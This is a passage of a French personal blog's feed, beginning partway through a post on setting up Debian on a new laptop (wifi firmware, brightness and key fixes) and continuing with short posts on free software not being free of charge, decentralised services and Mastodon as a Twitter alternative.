&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;remove&lt;span class="w"&gt; &lt;/span&gt;network-manager&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;wicd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;j&amp;rsquo;ajoute à &lt;em&gt;apt&lt;/em&gt; les sources &lt;em&gt;contrib&lt;/em&gt; et &lt;em&gt;non-free&lt;/em&gt;;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list&lt;span class="w"&gt; &lt;/span&gt;:%s/main&lt;span class="w"&gt; &lt;/span&gt;/main&lt;span class="w"&gt; &lt;/span&gt;contrib&lt;span class="w"&gt; &lt;/span&gt;non-free
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;paramétrage du &lt;em&gt;touchpad&lt;/em&gt; pour qu&amp;rsquo;il accepte le « tapoter pour cliquer » via l&amp;rsquo;interface graphique;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;paramétrage de la gestion de l&amp;rsquo;énergie via l&amp;rsquo;interface graphique;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;copie via &lt;code&gt;scp&lt;/code&gt; — cette étape est facultative car &lt;em&gt;un peu plus technique&lt;/em&gt; — de mon répertoire contenant mes fichiers de conf de mon ancien portable vers le nouveau. Ceci me permet par exemple de créer le répertoire &lt;code&gt;.vim&lt;/code&gt; avant d&amp;rsquo;installer &lt;code&gt;vim&lt;/code&gt;… et mes confs sont là tout de suite !&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;installation de &lt;em&gt;owncloud-client&lt;/em&gt;, encodage des identifiants… et les fichiers arrivent;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;j&amp;rsquo;en profite pour faire un &lt;em&gt;update&lt;/em&gt; et passer à un noyau 4&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… il reste à régler les problèmes.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est ici que ça devient un peu plus &lt;em&gt;touchy&lt;/em&gt;. De mémoire de linuxien, il y a toujours bien un p&amp;rsquo;tit truc qui ne fonctionne pas bien tout de suite… et ce n&amp;rsquo;est pas bien grave. C&amp;rsquo;est le moment d&amp;rsquo;en profiter pour faire un &lt;a href="https://www.debian.org/donations"&gt;don à debian&lt;/a&gt; afin que les petits problèmes se règlent plus vite.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;expérience, je sais que la &lt;strong&gt;carte son&lt;/strong&gt; ou la &lt;strong&gt;caméra&lt;/strong&gt; risque de ne pas fonctionner. Bien que je n&amp;rsquo;utilise quasi jamais la caméra — &lt;a href="2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html"&gt;chatroulette, c&amp;rsquo;est &lt;em&gt;has been&lt;/em&gt;&lt;/a&gt; — je me connecte à &lt;code&gt;http://meet.jit.si/esi&lt;/code&gt; et je me vois et je m&amp;rsquo;entends. Tout va bien, je peux placer le post-it sur la caméra et l&amp;rsquo;oublier.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai un &lt;strong&gt;lecteur d&amp;rsquo;empreinte&lt;/strong&gt; que j&amp;rsquo;ai désactivé dans l&amp;rsquo;UEFI.&lt;/p&gt;
&lt;p&gt;Les &lt;strong&gt;touches volume&lt;/strong&gt; ne fonctionnent pas… et je ne vois pas le plugin audio dans mon tableau de bord…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;xfce4-pulseaudio-plugin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… ça marche.&lt;/p&gt;
&lt;p&gt;Les &lt;strong&gt;touches luminosité&lt;/strong&gt; ne fonctionnent pas. Une &lt;a href="https://itsfoss.com/fix-brightness-ubuntu-1310/"&gt;recherche plus tard&lt;/a&gt; et j&amp;rsquo;ajoute ce fichier:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/usr/share/X11/xorg.conf.d/20-intel.conf&lt;span class="w"&gt; &lt;/span&gt;
Section&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Device&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Driver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;intel&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;Option&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Backlight&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;intel_backlight&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;Identifier&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;card0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
EndSection&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La &lt;strong&gt;carte wifi&lt;/strong&gt;. &lt;code&gt;lspci&lt;/code&gt; me montre que ma carte wifi est une &lt;em&gt;intel 8260&lt;/em&gt; (&lt;em&gt;Detected Intel(R) Dual Band Wireless AC 8260&lt;/em&gt; (qui est prise en charge par le module &lt;em&gt;iwlwifi&lt;/em&gt;. Ça ne marche pas. Un &lt;code&gt;apt search iwlwifi&lt;/code&gt; montre que &lt;code&gt;firmware-iwlwifi&lt;/code&gt; n&amp;rsquo;est pas installé. Je l&amp;rsquo;installe. Ça ne fonctionne pas.&lt;/p&gt;
&lt;p&gt;Je fais un petit tour par les forums et les &lt;em&gt;logs&lt;/em&gt;. Ils me montrent qu&amp;rsquo;il y a un soucis avec la version 22 du firmware. J&amp;rsquo;efface cette version et c&amp;rsquo;est la version 21 qui sera chargée et qui est fonctionnelle&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/lib/firmware/iwlwifi-8000C-22.ucode
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Après suppression de ce fichier, la carte wifi fonctionne.&lt;/p&gt;
&lt;p&gt;Mon clavier a une touche &lt;strong&gt;[PrtScr]&lt;/strong&gt; à droite de la barre d&amp;rsquo;espace et pas de touche « &lt;em&gt;Menu contextuel&lt;/em&gt; » et ça m&amp;rsquo;ennuie. Pour changer ça, je récupère le &lt;em&gt;keycode&lt;/em&gt; de la touche grâce à &lt;code&gt;xev&lt;/code&gt;. C&amp;rsquo;est 107. Je crée ensuite un fichier &lt;code&gt;~/.xmodmaprc&lt;/code&gt; redéfinissant l&amp;rsquo;action à exécuter lors de l&amp;rsquo;appui sur la touche comme suit:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;keycode 107 = Menu NoSymbol Menu&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Et pour que ce fichier soit exécuté, j&amp;rsquo;ajoute au fichier &lt;code&gt;~/.xsessionrc&lt;/code&gt; — que je crée s&amp;rsquo;il n&amp;rsquo;existe pas:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;xmodmap ~/.xmodmaprc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise un tout petit peu &lt;strong&gt;dropbox&lt;/strong&gt; (c&amp;rsquo;est presque historique). Après l&amp;rsquo;installation via le site web, j&amp;rsquo;ai une erreur de &lt;em&gt;&amp;ldquo;Can&amp;rsquo;t monitor folder&amp;rdquo;&lt;/em&gt;. Je lis les logs — &lt;code&gt;tail -f /var/log/syslog&lt;/code&gt; — et j&amp;rsquo;y trouve la solution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;éditer &lt;code&gt;/etc/systctl.conf&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;ajouter la ligne &lt;code&gt;fs.inotify.max_user_watches = 100000&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;relancer &lt;code&gt;sysctl -p&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;… et ça synchronise&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And voilà, il reste à coller les autocollants &lt;strong&gt;bépo&lt;/strong&gt; ;-)&lt;br&gt;
Enjoy.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo d&amp;rsquo;une toute vielle machine à écrire prise à Madère. Le nouveau laptop est un peu plus récent.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Comme l&amp;rsquo;on va copier un &lt;em&gt;iso&lt;/em&gt; dessus, la place disponible restante sera inutilisable. Cette clé USB ne servira donc qu&amp;rsquo;à avoir une &lt;em&gt;debian&lt;/em&gt; à installer… comme un bon vieux CD d&amp;rsquo;installation.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Prenez la peine de vérifier que &lt;em&gt;sdb&lt;/em&gt; est bien la clé USB et pas votre disque dur…&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Je pense que c&amp;rsquo;est nécessaire pour qu&amp;rsquo;il n&amp;rsquo;y ait pas de soucis de mise en veille.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;Par contre, ma carte &lt;em&gt;wlan0&lt;/em&gt; est renommée en &lt;em&gt;wlp4s0&lt;/em&gt;.es/machineecrire-madeira-1200x.jpg &amp;ldquo;machineecrire-madeira-1200x.jpg, juin 2017&amp;rdquo;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les logiciels libres ou open source ne sont pas (nécessairement) gratuits</title><link href="http://blog.namok.be/2017-05-18-logiciels-libres-ou-open-source-ne-sont-pas-gratuits.html" rel="alternate"/><published>2017-05-18T00:00:00+02:00</published><updated>2017-05-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-05-18:/2017-05-18-logiciels-libres-ou-open-source-ne-sont-pas-gratuits.html</id><summary type="html">Les logiciels libres ou open source ne sont pas (nécessairement) gratuits</summary><content type="html">&lt;p&gt;&lt;img alt="lance-anderson-245146-1400x.jpg" src="/images/lance-anderson-245146-1400x.jpg" title="lance-anderson-245146-1400x.jpg, mai 2017"&gt;&lt;/p&gt;
&lt;p&gt;Un logiciel libre est un logiciel répondant à ces libertés essentielles; l&amp;rsquo;exécution, l&amp;rsquo;étude, la copie, la distribution, la modification et l&amp;rsquo;amélioration.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Think free as &amp;ldquo;free speech&amp;rdquo; not &amp;ldquo;free beer&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;L&amp;rsquo;utilisateur d&amp;rsquo;un programme libre jouit des quatre libertés essentielles :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la liberté d&amp;rsquo;exécuter le programme comme il le souhaite, pour n&amp;rsquo;importe quel usage (liberté 0);&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la liberté d&amp;rsquo;étudier le fonctionnement du programme et de l&amp;rsquo;adapter à ses besoins (liberté 1) — une condition préalable est d&amp;rsquo;accéder au code source;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la liberté d&amp;rsquo;en redistribuer des copies pour aider les autres (liberté 2);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la liberté d&amp;rsquo;améliorer le programme et de rendre publiques ses améliorations pour que toute la communauté en bénéficie (liberté 3) — une condition préalable est d&amp;rsquo;accéder au code source.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extrait de &lt;a href="https://www.gnu.org/home.fr.html"&gt;GNU free software fundation&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Les logiciels libres ou &lt;em&gt;open source&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; sont librement distribués et distribuer un logiciel, c&amp;rsquo;est le donner ou le vendre. Chacun est libre de vendre un logiciel libre et chacun est libre de l&amp;rsquo;acheter ou non. La &lt;em&gt;free software fundation&lt;/em&gt; &lt;a href="https://www.gnu.org/philosophy/selling.fr.html"&gt;encourage même ceux qui distribuent un logiciel libre à le faire payer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Systématiquement associer « gratuit » à « libre » (ou &lt;em&gt;open source&lt;/em&gt;) peut vider le logiciel libre de sa valeur. Les logiciels libres ont de la valeur. Le cout du développement n&amp;rsquo;est évidemment pas négligeable et les développeurs sont en partie des développeurs salariés d&amp;rsquo;une entreprise qui trouve son intérêt dans le logiciel libre et, pour l&amp;rsquo;autre partie, des passionnés qui contribuent aux communs.&lt;/p&gt;
&lt;p&gt;Si un logiciel libre est gratuit — et ce n&amp;rsquo;est pas une obligation ni un argument — son utilisation ne l&amp;rsquo;est pas forcément. Utiliser des logiciels libres n&amp;rsquo;est pas gratuit &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, ça à un cout. Le cout d&amp;rsquo;installation, de configuration, de maintenance, de mise à jour… Ces couts peuvent être les mêmes que pour les logiciels propriétaires.&lt;/p&gt;
&lt;p&gt;Les logiciels libres ne sont pas gratuits, ils sont libres d&amp;rsquo;usage.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://unsplash.com/photos/82fcB8ZgdNI"&gt;Lance Anderson&lt;/a&gt;. Quelque chose comme free beer.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je ne m&amp;rsquo;étends pas sur la différence entre « logiciel libre » et « logiciel open source » car les deux sont très proches… et souvent confondus. Outre les différences techniques, je cite &lt;a href="http://gabriellacoleman.org/"&gt;Gabriella Coleman&lt;/a&gt; sur la différence philosophique entre les deux: «&lt;em&gt;Le terme &amp;ldquo;logiciel libre&amp;rdquo; met l&amp;rsquo;accent sur le droit à apprendre et à accéder aux connaissances, tandis que le terme &amp;ldquo;open source&amp;rdquo; tend à mettre en avant les avantages pratiques.&lt;/em&gt; »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je ne parle pas ici de l&amp;rsquo;utilisation de LibreOffice par rapport à la suite bureautique de Microsoft par exemple. Cette utilisation est gratuite… hormis l&amp;rsquo;énergie que l&amp;rsquo;on peut dépenser si l&amp;rsquo;on veut en faire le prosélytisme.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Barbecue IRC 0#A</title><link href="http://blog.namok.be/2017-04-18-barbecue-irc-10.html" rel="alternate"/><published>2017-04-18T00:00:00+02:00</published><updated>2017-04-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-04-18:/2017-04-18-barbecue-irc-10.html</id><summary type="html">Barbecue IRC 0#A</summary><content type="html">&lt;p&gt;&lt;img alt="evaldas-daugintis-226631-1200x.jpg" src="/images/evaldas-daugintis-226631-1200x.jpg" title="evaldas-daugintis-226631-1200x.jpg, avr. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Message à l&amp;rsquo;intention des quelques initiés:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le barbecue IRC aura bien lieu. Le &lt;strong&gt;dixième&lt;/strong&gt; barbecue IRC aura bien lieu.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comme d&amp;rsquo;habitude les infos sont disponibles où vous savez. Bien que les inscriptions ne se prennent que &lt;em&gt;là-bas&lt;/em&gt;, ce serait chouette que l&amp;rsquo;on soit nombreux pour fêter les 10 ans.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;em&gt;Crédit phto par &lt;a href="https://unsplash.com/collections/622212/barbecue-restaurant?photo=abOuIeyY5ww"&gt;Evaldas Daugintis&lt;/a&gt; chez Unsplash.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Un service décentralisé, c'est quoi ?</title><link href="http://blog.namok.be/2017-04-09-un-service-decentralise-c-est-quoi.html" rel="alternate"/><published>2017-04-09T00:00:00+02:00</published><updated>2017-04-09T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-04-09:/2017-04-09-un-service-decentralise-c-est-quoi.html</id><summary type="html">Service décentralisé ou acentralisé avec un a privatif disant l'absence de centre.</summary><content type="html">&lt;p&gt;&lt;img alt="bulb_by_fantasyart0102-db51xm5.jpg" src="/images/bulb_by_fantasyart0102-db51xm5.jpg" title="bulb_by_fantasyart0102-db51xm5.jpg, avr. 2017"&gt;&lt;/p&gt;
&lt;p&gt;— Un service décentralisé, c&amp;rsquo;est mieux.&lt;br&gt;
— Heu… c&amp;rsquo;est quoi ?&lt;/p&gt;
&lt;p&gt;Certains services que l&amp;rsquo;on utilise sur Internet sont &lt;strong&gt;centralisés&lt;/strong&gt;. Un service est centralisé dès lors qu&amp;rsquo;il n&amp;rsquo;y a qu&amp;rsquo;un seul fournisseur de ce service. Pour bénéficier de ce service, il faut se créer un compte — et confier certaines données — à ce fournisseur.&lt;/p&gt;
&lt;p&gt;Quelques exemples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(micro)blogging; Twitter, Facebook, Tumblr, Wordpress.com…&lt;/li&gt;
&lt;li&gt;partage de photos; Pinterest, Instagram…&lt;/li&gt;
&lt;li&gt;&lt;a href="2017-03-28-communication-instantanee-un-grand-pas-en-avant.html"&gt;communication instantanée&lt;/a&gt;; Slack, Whatsapp, Hangouts, Messenger…&lt;/li&gt;
&lt;li&gt;sauvegarde d&amp;rsquo;articles à lire plus tard; GetPocket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Certains services que l&amp;rsquo;on utilise sur Internet sont &lt;strong&gt;décentralisés&lt;/strong&gt;. Un service est décentralisé dès lors que ce services est proposé par plusieurs fournisseurs. Pour bénéficier de ce service, il faut choisir un fournisseur et se créer un compte chez ce fournisseur ou bien décider d&amp;rsquo;installer le service soi-même.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Décentralisé&lt;/strong&gt; ou mieux, &lt;strong&gt;acentralisé&lt;/strong&gt; ; sans centre. &lt;/p&gt;
&lt;p&gt;Le mail est un bon exemple de service décentralisé. On peut choisir où l&amp;rsquo;on crée son compte email; Gmail, Outlook, son FAI, mail.com… On peut également installer un serveur mail sur sa propre machine &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; si l&amp;rsquo;on veut.&lt;/p&gt;
&lt;p&gt;Certains services que l&amp;rsquo;on désire utiliser n&amp;rsquo;ont pas besoin de communiquer entre eux.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Si je désire &lt;em&gt;bloguer&lt;/em&gt;, je peux le faire de manière centralisée chez Facebook (±), Tumblr ou Wordpress.com par exemple ou je peux décider d&amp;rsquo;installer mon propre blog sur une machine que je loue. Je peux bien sûr demander à un tiers de le faire pour moi. J&amp;rsquo;installe alors Dotclear (ou Wordpress) par exemple.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si je désire sauvegarder des articles à lire plus tard, je peux le faire de manière centralisée chez GetPocket ou installer Wallabag.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D&amp;rsquo;autres services — comme le mail dont je parlais — doivent communiquer entre eux car c&amp;rsquo;est ça qui en fait l&amp;rsquo;intérêt. Dans ce cas, je crée un compte chez &lt;strong&gt;un&lt;/strong&gt; fournisseur de ce service (on peut parler alors d&amp;rsquo;une &lt;strong&gt;instance&lt;/strong&gt; du service) que je choisis et le programme se charge de la communication entre les instances.&lt;/p&gt;
&lt;p&gt;Quelques exemples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;micro(blogging):&lt;ul&gt;
&lt;li&gt;GNUSocial et Mastodon comme alternatives décentralisées à Twitter;&lt;/li&gt;
&lt;li&gt;Diaspora comme alternative décentralisée à Facebook;&lt;/li&gt;
&lt;li&gt;Installation de Dotclear ou Wordpress chez un hébergeur comme alternative à Wordpress.com ou Tumblr (ou feu Blogger);&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;communication instantanée:&lt;ul&gt;
&lt;li&gt;Jabber (je sais c&amp;rsquo;est quasi mort) comme alternative décentralisée à Hangouts, Messenger&lt;/li&gt;
&lt;li&gt;&lt;a href="https://riot.im/"&gt;Riot&lt;/a&gt;, Mattermost comme alternative décentralisée à Slack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il existe plein d&amp;rsquo;autres exemples d&amp;rsquo;alternatives libres et décentralisées à des services centralisés et propriétaires. Pour en savoir plus, lire par exemple &lt;a href="https://framasoft.org/"&gt;Framasoft&lt;/a&gt; et son projet de &lt;a href="https://degooglisons-internet.org/"&gt;Dégoogliser internet&lt;/a&gt; ainsi que son &lt;a href="https://framalibre.org/"&gt;agenda du libre&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://fantasyart0102.deviantart.com/art/Bulb-673616237"&gt;FantasyArt0102&lt;/a&gt;. D&amp;rsquo;autres acteurs que les « gros » comme une lumière d&amp;rsquo;espoir ^^&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;C&amp;rsquo;est mieux si la machine est alors connectée constamment à Internet mais je n&amp;rsquo;entre pas dans les détails.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Mastodon et Gnu Social deux services différents qui peuvent communiquer… et remplacer Twitter.</title><link href="http://blog.namok.be/2017-04-06-mastodon-gnusocial-deux-services-remplacer-twitter.html" rel="alternate"/><published>2017-04-06T00:00:00+02:00</published><updated>2017-04-06T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-04-06:/2017-04-06-mastodon-gnusocial-deux-services-remplacer-twitter.html</id><summary type="html">Mastodon et Gnu Social deux services différents qui peuvent communiquer… et remplacer Twitter.</summary><content type="html">&lt;p&gt;&lt;img alt="birds_by_strykmig.jpg" src="/images//birds_by_strykmig.jpg" title="birds_by_strykmig.jpg, avr. 2017"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://framablog.org/2017/04/05/mastodon-le-reseau-social-libre-qui-est-en-train-de-bousculer-twitter"&gt;Mastodon, le réseau social libre qui est en train de bousculer twitter&lt;/a&gt;.&lt;br&gt;
&lt;a href="http://www.presse-citron.net/mastodon-concurrent-open-source-de-twitter-cartonne/"&gt;Mastodon : le concurrent open source de Twitter qui cartonne&lt;/a&gt;.&lt;br&gt;
&lt;a href="http://www.blogdumoderateur.com/mastodon-twitter-mieux/"&gt;Mastodon : Twitter en mieux ?&lt;/a&gt;.&lt;br&gt;
&lt;a href="http://www.lemonde.fr/pixels/article/2017/04/04/le-reseau-social-mastodon-un-twitter-plus-proche-de-l-esprit-originel_5105900_4408996.html"&gt;Le réseau social Mastodon, un « Twitter plus proche de l’esprit originel »&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mastodon&lt;/strong&gt;, aujourd&amp;rsquo;hui, on en parle et cet article est là pour en parler aussi. Pour le présenter, lisez &lt;a href="https://aldarone.fr/welcome-to-mastodon/"&gt;l&amp;rsquo;article d&amp;rsquo;Alda sur son blog&lt;/a&gt; qui gère le site &lt;a href="http://witches.town/"&gt;http://witches.town&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Welcome to Mastodon&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Depuis quelques jours, Mastodon reçoit entre 50 et 100 inscrit·es par heure et on peut voir sur twitter quelques messages enthousiastes incitant plus de monde à migrer sur cette alternative « Libre et Décentralisée ».&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C’est quoi ce truc ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mastodon est un logiciel accessible par un navigateur et des applications iOS ou Android qui vise, par ses fonctions de base, le même public que Twitter.&lt;/p&gt;
&lt;p&gt;L’interface est très similaire à celle de Tweetdeck, on suit des comptes, des comptes nous suivent, on a une timeline, des mentions, des hashtags, on peut mettre un message dans nos favoris et/ou le partager tel quel à nos abonné⋅es. Bref, tout pareil.&lt;/p&gt;
&lt;p&gt;(…)&lt;/p&gt;
&lt;p&gt;Extrait de l&amp;rsquo;&lt;a href="https://aldarone.fr/welcome-to-mastodon/"&gt;article d&amp;rsquo;Alda, « Welcome to Mastodon »&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pour le buzz, il suffit de savoir que &lt;em&gt;Mastodon, c&amp;rsquo;est comme Twitter avec Tweetdeck… mais en mieux !&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— Si c&amp;rsquo;est comme Twitter, pourquoi se créer un compte ?&lt;br&gt;
— Pourquoi pas ?&lt;br&gt;
— Oui mais, c&amp;rsquo;est plus simple de conserver Twitter.&lt;br&gt;
— Crée toi un compte sur (une instance de) Mastodon pour les mêmes raisons que tu t&amp;rsquo;es créé un compte Twitter…&lt;/p&gt;
&lt;p&gt;Le pessimiste qui est en moi pense que ça ne marchera pas… car ça ne marche jamais. Rappelez-vous &lt;a href="2010-12-01-Facebook-versus-Diaspora.html"&gt;Facebook &lt;em&gt;versus&lt;/em&gt; Diaspora&lt;/a&gt;. &lt;a href="2015-05-02-messagerie-instantanee-version-geek.html"&gt;L&amp;rsquo;idée est pourtant belle&lt;/a&gt;. Il existe un service centralisé — et l&amp;rsquo;on &lt;a href="2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html"&gt;a déjà dit que c&amp;rsquo;était mal&lt;/a&gt; — avec son code propriétaire et l&amp;rsquo;on voit apparaitre une alternative &lt;strong&gt;libre et décentralisée&lt;/strong&gt; — et l&amp;rsquo;on a déjà dit que c&amp;rsquo;était bien. Tout devrait donc bien se passer et elle devrait par nature s&amp;rsquo;imposer.&lt;/p&gt;
